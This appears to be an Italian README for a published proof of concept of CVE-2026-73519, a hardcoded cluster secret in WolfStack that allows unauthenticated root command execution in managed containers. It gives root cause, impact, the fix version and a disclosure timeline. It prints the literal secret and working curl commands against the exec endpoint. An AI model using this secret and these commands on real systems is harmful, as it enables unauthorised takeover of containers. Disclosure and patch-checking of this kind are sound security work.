CVE-2026-73519 — Segreto di cluster hardcoded in WolfStack → RCE non autenticata

PoC per un segreto di autenticazione predefinito hardcoded in WolfStack che consente a un attaccante remoto e non autenticato di eseguire comandi arbitrari come root all'interno di qualsiasi container Docker/LXC gestito.

Causa principale

src/auth/mod.rs:32 include un singolo segreto hardcoded incorporato in ogni build di WolfStack:

const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";

auth::default_secret_accepted() (src/auth/mod.rs:430-460) accetta questa costante come credenziale valida per impostazione predefinita, a meno che l'operatore non abbia scelto esplicitamente di disattivarla (WOLFSTACK_REJECT_DEFAULT_SECRET=1) o abbia già ruotato verso un segreto personalizzato. api::require_auth() (src/api/mod.rs:518-535), l'unico gate che protegge l'intera API REST, considera una richiesta con un header X-WolfStack-Secret corrispondente come pienamente autenticata — nessuna sessione, nessuna API key, nessun account.

Questo gate protegge POST /api/containers/{runtime}/{id}/exec (src/api/mod.rs:7145-7167), che esegue la stringa di comando fornita dal chiamante così com'è all'interno del container di destinazione. Chiunque abbia letto il sorgente pubblico (o questo repository) può autenticarsi come peer di cluster affidabile ed eseguire comandi arbitrari come root in qualsiasi container gestito dal nodo.

La generazione automatica del segreto per installazione aggiunta in questo ciclo di rilascio scatta solo per i nodi senza un file di segreto esistente e senza peer registrati (src/auth/mod.rs:250-261) — qualsiasi nodo aggiornato, qualsiasi nodo che incappa nella race condition all'avvio documentata, o qualsiasi nodo con un percorso di configurazione non scrivibile rimane sul valore predefinito condiviso a tempo indeterminato, con solo un avviso in una riga di log.

Utilizzo

Indirizza TARGET e CONTAINER verso un'istanza WolfStack e un container che sei autorizzato a testare, quindi:

./poc.sh http://TARGET:8553 CONTAINER_NAME

Oppure manualmente:

# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"}  HTTP 401

# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" \
  -H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
  -d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"}  HTTP 200

Verificato contro il binario di rilascio autentico v25.9.0 con checksum verificato (sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c) con un vero container alpine:latest come bersaglio. L'ID del container nell'output della risposta corrisponde a docker ps sull'host vittima.

Impatto

• Enumera ogni container Docker/LXC sull'host (/api/containers/docker, /api/containers/lxc), senza autenticazione.
• Esegue comandi arbitrari come root all'interno di ognuno di essi tramite lo stesso header.
• Lo stesso bypass raggiunge ogni altra rotta protetta da require_auth (gestione peer/nodi, backup, ecc.) — questo PoC punta al sink container-exec come impatto più evidente, non come elenco esaustivo.

Correzione

Aggiorna alla v25.9.2 o successiva. Il manutentore ha invertito l'accettazione del segreto predefinito, impostando il rifiuto come comportamento predefinito, e ha aggiunto un percorso di rotazione forzata per le installazioni esistenti.

Cronologia della divulgazione

• 2026-07-31 — Segnalato al manutentore tramite GitHub Security Advisories.
• Il manutentore ha rilasciato una correzione in v25.9.2 / v25.9.3.
• 2026-08-08 — Inviato a VulnCheck per l'assegnazione del CVE (corsia veloce già pubblica).
• 2026-08-16 — CVE-2026-73519 assegnato da VulnCheck.

Disclaimer

Pubblicato dopo il rilascio della correzione e l'assegnazione del CVE, per uso difensivo/educativo — verifica dello stato delle patch sulla propria infrastruttura. Non eseguirlo contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test.